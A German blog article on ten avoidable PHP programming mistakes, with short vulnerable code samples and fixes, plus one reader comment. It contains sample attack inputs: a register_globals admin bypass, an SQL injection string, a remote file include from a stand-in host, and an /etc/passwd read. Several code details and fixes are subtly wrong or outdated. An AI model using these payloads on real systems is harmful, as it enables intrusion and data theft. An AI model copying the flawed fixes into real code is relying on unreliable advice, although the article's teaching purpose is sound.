10 einfache aber vermeidbare PHP-Programmierfehler

Kein Beitragsbild
Vanessa Vasile

Jeder Programmierer hatte schon einmal mit peinlichen Programmierfehlern zu tun, die leicht zu Sicherheits- oder Stabilitätsproblemen bei Scripten und Anwendungen führen können. Ob sie nun aufgrund von Unerfahrenheit oder vereinzelter fauler Angewohnheiten der Entwickler gemacht wurden, viele dieser Fehler sind weiter verbreitet, als Sie denken und dennoch komplett vermeidbar.

In den letzten paar Jahren, in denen ich Server administriert habe, habe ich jede Menge Programmierfehlen gesehen, die zu gehackten Sites und Serverzusammenbrüchen geführt haben und das Anwendervertrauen zerstörten. Ich habe eine Liste der am meisten verbreiteten Fehler zusammengestellt, die ich sowohl bei Novizen als auch bei erfahrenen PHP-Programmierern sehe und ich verrate auch, wie man sie behebt.

Fehler 1: Nicht mit der Zeit gehen

Ich weiß, was in Ihnen vorgeht – ich habe eine Großmutter, die immer noch eine Kamera mit Film benutzt. Wenn Sie immer noch in aller Zufriedenheit mit PHP 4 programmieren in dem Wissen, dass Ihre Scripte den Bach runtergehen, sollten sie jemals neueren Versionen ausgesetzt werden, müssen Sie Ihre Prioritäten wirklich neu bewerten. Nehmen Sie sich etwas Zeit, um Ihren Code in einer moderneren Entwicklungsumgebung aufzubauen und herauszufinden, welche Teile nicht funktionieren und was Sie reparieren müssen. Das braucht definitiv seine Zeit, ist die Sache aber wirklich wert.

Fehler #2: Verwendung von Register Globals

Willkommen im Jahr 2000. Die PHP-Entwickler und Anhängergemeinden raten seit mittlerweile mehr als 10 Jahren von der Verwendung von register_globals ab, aber das ist bei vielen Programmierern der alten Schule und Entwicklerneulingen, die weiterhin dieser nicht anzuratenden Programmierpraxis frönen, immer noch nicht angekommen.

Für manche sind register_globals einfach nur die Art und Weise, in der sich PHP verhält. Für alle anderen, die sich ihrer Sicherheitsauswirkungen bewusst geworden sind, hat die kleine Unbequemlichkeit, EGPCS-Variablen (Environment, GET, POST, Cookie, Server) zu definieren, eine große Tragweite beim Schutz gegen unbeabsichtigte Sicherheitsexploits. Lassen Sie uns dieses einfache Beispiel nehmen, das Teil des PHP-Codes in einer login.php-Datei am empfangenden Ende eines Formulars ist, das eine Passwortvariable sendet:

if (isset($_POST['password']) && $_POST['password'] == "SK^*#@J4") {
$admin = TRUE;
}
if($admin == TRUE){
echo "You're an admin!";
}

Ich brauche nicht das Login-Formular zu verwenden, um mich gegenüber dem Script als Admin auszuweisen. Wenn ich aus dem Browser /login.php?admin=1 aufrufe und register_globals eingeschaltet sind, identifiziert PHP die GET-Variable für $admin und generiert sie im Fluge und weist ihr den Wert TRUE zu. Das hätte vermieden werden können, indem man die Variable $admin durch Hinzufügen des folgenden Codes am Anfang des Scripts initialisiert:
$admin = FALSE;
Ich betone an dieser Stelle, dass register_globals an sich nicht notwendigerweise das Problem sind, sondern eher die Aktionen der Entwickler, die das Konzept von globalen Variablen in einer Weise missbrauchen, die eine Webanwendung beschädigen kann. Am Besten fahren Sie, wenn Sie die Verwendung von register_globals komplett deaktivieren, anstatt Ihrem Code Pflaster aufzulegen.

Der erste Schritt, mit dem Sie sich von register_globals abnabeln, ist einfach deren Deaktivierung in php.ini and dann nachzusehen, ob Ihre Site funktioniert. Die Teile Ihrer Site, die dadurch betroffen werden, sind einleuchtenderweise die, die POST– und GET– Eingaben empfangen, wie zum Beispiel Formulare. Obwohl die Verwendung von register_globals eins der am weitesten verbreiteten Probleme ist, die ich sehe, ist es wahrscheinlich das am einfachsten zu lösende – schalten Sie sie aus und deklarieren Sie EGPCS-Variablen, bevor Sie sie verwenden. Ein Glück für Sie, dass PHP 5.3 register_globals nicht mehr als gültige Einstellung anerkennt.

Fehler #3: Verwendung unsicherer Authentifizierung

Sie denken vielleicht, dass die Leute nicht versuchen, in Ihre Site einzubrechen, aber sie tun es.  Jeden Tag werden Seiten gehackt, weil schlecht implementierte Authentifizierungsmethoden eingebaut wurden, einfach nur, weil sie leicht einzurichten waren. Wenn es darum geht, sensible Informationen zu schützen, sollten Sie niemals mit bequemen Programmiertechniken pokern.

Kennst du unser E-Book-Bundle? Spare jetzt 6,99 €!

E-Book Bundle von Andreas Hecht

An jeder Stelle Ihrer Site, an der Authentifizierung erforderlich ist, um auf sensible Informationen zuzugreifen, sollten Sie zumindest grundlegende Sicherheitsmaßnahmen bei der Verschlüsselung und Speicherung von Passwörtern, Cookies und Sitzungsdaten treffen. Nachstehend finden Sie einige sehr einfache Tutorials für die Erstellung eines sichereren Login-Systems für eine Webanwendung:

Fehler #4: Keine Validierung von Eingaben

Wir alle haben schon von einer MySQL-Injection gehört, zu der es kommen kann, wenn jemand MySQL-Befehle in ein Textfeld eingibt, das mit der Datenbank kommuniziert, um die Datenbank dazu zu bewegen, etwas zu tun, was sie nicht tun sollte. Ich verwende das einfachste und berühmteste Beispiel für eine MySQL-Injection – hier ist der erste Teil des Codes, der einen Usernamen als POST-Variable akzeptiert:

$username = $_POST['username'];
$query = "SELECT * FROM users WHERE username = '$name'";

Sagen wir mal, jemand friemelt an meinem Formular herum und sendet in dem Feld username die folgende MySQL-Anweisung:

DELETE FROM users WHERE 1 or username = '"

In einem nicht validierten Formular würde das die komplette Usertabelle in der Datenbank auslöschen. Das obige Beispiel könnte man angehen, indem man die Funktion mysql_real_escape_string um den Wert von $username wickelt.

Aber was tun in anderen Fällen, in denen es nicht eine Datenbank ist, die attackiert wird? Validierung ist der Schlüssel für jedes Formular, das Daten verarbeitet – ob Sie nun Live-Validierung mit Ajax verwenden oder die Verantwortung für das Filtern von Eingabe-Strings PHP überlassen.

Fehler #5: Verantwortungslose Verwendung von GET-Variablen

Nehmen wir eine sehr einfache URL-Struktur: http://example.com/index.php?page=page

Für jeden, der sich dieses Formular von außen ansieht, ist das keine große Sache – in PHP-Scripts setzen wir dauernd GET-Variablen ein. Für Hacker ist das jedoch eine Goldmine für das Ausbeuten von Code, wobei Sie sich an der Möglichkeit festhalten, dass die GET-Variable tatsächlich nicht gefiltert wird.  Lassen Sie uns einen Blick auf die index.php werfen:

if(!empty($_GET['page'])){
$content = $_GET['page'];
$fh = fopen($content, "r");
while (!feof($fh)) {
$line = fgets($fh);
echo $line;
fclose($fh);
}

Der obige Code fängt einfach den Wert von $content der URL ein und verwendet ihn, um eine lokale Datei mit demselben Namen zu laden. Natürlich sind wir jetzt offen dafür, dass so etwas wie das hier passiert:
http://example.com/index.php?file=http://badsite.com/badscript.pl
oder
http://example.com/index.php?file=/etc/passwd
Wenn man schlechte Programmierung generell einmal beiseite stellt, kann das vorstehende Problem durch die Verwendung von ein paar Funktionen verhindert werden, die das Vorhandensein und die Standorte von GET validieren: file exists und dirname:

if(!file_exists($content) OR $dirname != "/home/user/public_html"){
echo "Cannot display content";
}

Das alles führt zur Verwendung von richtigen Validierungstechniken zurück. Jedes Mal, wenn Sie GET- oder POST-Variablen verwenden, sollte Ihr Script wissen, wie es auf unerwartete Eingaben zu reagieren hat. Und Sie sollten niemals GET-Variablen verwenden, um Informationen zu definieren, die leicht missbraucht werden können – wie etwa, ob ein User eingeloggt ist. Folgendes wäre zum Beispiel eine sehr schlechte Idee:
http://example.com/index.php?user=me&logged_in=1

Fehler #6: Der Loopus furiosus

Wir alle kennen den “Loopus furiosus”. Das ist, was passiert, wenn Sie eine while-Schleife basierend auf einer Bedingung haben, die niemals erfüllt werden kann und Sie enden mit einem außer Kontrolle geratenen Script und einem wütenden Host der sich bereit macht, Sie herunterzufahren.

Hier ein Beispiel für einen Loopus furiosus:

$i = 1;
while ($i <= 1000) {
// missing $i++;
echo $i;
}

Basierend auf dem obigen Code wird $i niemals 1.000 sein und daher wird die Schleife ewig weiterlaufen, da sich $i nicht erhöht.

Wenn Sie while-Schleifen verwenden, insbesondere auf der Basis von Bedingungen, stellen Sie sicher, dass es möglich ist, die Bedingung der Schleife zu erfüllen und legen Sie fest, was stattdessen passieren soll, wenn das nicht geschieht. Ein einfacher Weg ist es, den Wert max_execution_time einzustellen, damit der Loopus furiosus nicht ewig laufen kann.

Fehler #7:  Freie TMIs herausgeben

Das Standardverhalten von PHP, Fehler auszuspucken, ist für Sie, den Entwickler, sehr nützlich. Wissen Sie, für wen das auch nützlich ist? Für Personen, die Ihre Site hacken wollen.

Manchmal, wenn die Dinge nicht wie erwartet laufen und einem PHP-Script aus der Patsche geholfen werden muss, bietet es ein paar Informationen zu viel an:

PHP Warning:  Invalid argument supplied for foreach() in /home/user/public_html/includes/secret/process.php on line 806
Warning: mysql_connect(): Access denied for user: 'username@localhost' (Using password: YES) in /home/user/public_html/includes/mysql.class.php on line 75

Tun Sie sich selbst einen Gefallen und behalten Sie die Daten zum Debuggen für sich selbst. In php.ini können Sie Fehlermitteilungen deaktivieren, indem Sie display_errors auf Off stellen und Sie sollten das auch mit log_errors tun, so dass Fehlerlogs gar nicht generiert werden. Wenn Sie Ihre Fehlerlogs brauchen, deaktivieren Sie den Browserzugriff darauf, indem Sie eine einfache .htaccess-Regel verwenden:

order allow,deny
deny from all

Fehler #8: Falsche Anwendung von Semikolons

Ich kann Ihnen nicht sagen, wie oft das passiert – die Verwendung von Semikolons in if- und while-Anweisungen, bevor eine Aktion aufgerufen wird. Das beendet im Wesentlichen den Ablauf und führt Code aus, der auf einer Bedingung hätte basieren sollen:

if ($logged_in == TRUE);
{
display_very_sensitive_info();
}

Das kann ein Problem sein, wenn Sie die folgenden Funktionen verwenden:

  • if
  • while
  • for
  • foreach
  • switch
  • declare

In PHP werden Semikolons immer dazu verwendet, um eine Anweisung zu beenden. Behalten Sie jedoch im Hinterkopf, dass Kontrollfunktionen ohne ihre Aktionen nicht vollständig sind.

Fehler #9:  Verwendung von falschen Operatoren

Das ist ein Fehler, der im Allgemeinen von eher ungeübten Programmierern gemacht wird, ich kann jedoch nicht behaupten, dass ich nicht gelegentlich immer noch den Tippfehler mache und ein Gleichheitszeichen in einer Bedingung auslasse:

if($logged_in = "1"){
echo "You're logged in!";
}

Das ist schlimmer als die Verwendung von register_globals, in denen ich auf die Schnelle eine Variable generiert habe, die den richtigen Wert, der durch eine komplexere Berechnung festgelegt wurde, überschreibt, die jetzt sinnlos ist.  Es ist wichtig, dass Sie Ihre Operatoren nicht durcheinander bringen, insbesondere dann, wenn Gleichheitszeichen verwendet werden, die Werte definieren und vergleichen.

Fehler #10: Denken, dass man Sie nicht kriegen kann

Der letzte Punkt, den ich machen werde ist, dass Sie, wenn Sie denken, es gibt keine Möglichkeit, dass Sie jemals ein Problem haben werden, wahrscheinlich falsch liegen.

Sicherheit ist ein fortlaufender Prozess, eine Schlacht und ein Kampf. Es ist Ihr Job als Entwickler, sich über die neuesten Sicherheitstrends auf dem Laufenden zu halten und Ihre Anwendungen gründlich zu testen, bevor Sie sie ausliefern.

Ich habe festgestellt, dass die Befolgung der Grundlagen, die ich in diesem Artikel auseinandergesetzt habe, ein ausgezeichneter Trittstein sind, um Anwendungen sicher zu machen. Aber vergessen Sie nicht, Sie müssen wie ein Hacker denken und egal, wie gut Sie als Programmierer sind, es wird immer jemanden geben, der besser ist.

(mm),

Hinterlasse einen Kommentar

1 Kommentar auf "10 einfache aber vermeidbare PHP-Programmierfehler"

Benachrichtige mich zu:
avatar
Sortiert nach:   neueste | älteste | beste Bewertung
Jannik
Gast

Zu #5: Bitte nur per Whitelist includen..

Zu #9: Über “Yoda Conditions” lässt sich das Problem umgehen, wenn man Konstanten oder Literale mit Variablen vergleicht (nicht jedoch Variablen mit Variablen):
http://www.phphatesme.com/blog/allgemein/yoda-conditions/

Zudem meckert das eine gute IDE an, wenn man ein einfaches Gleichzeichen verwendet.

wpDiscuz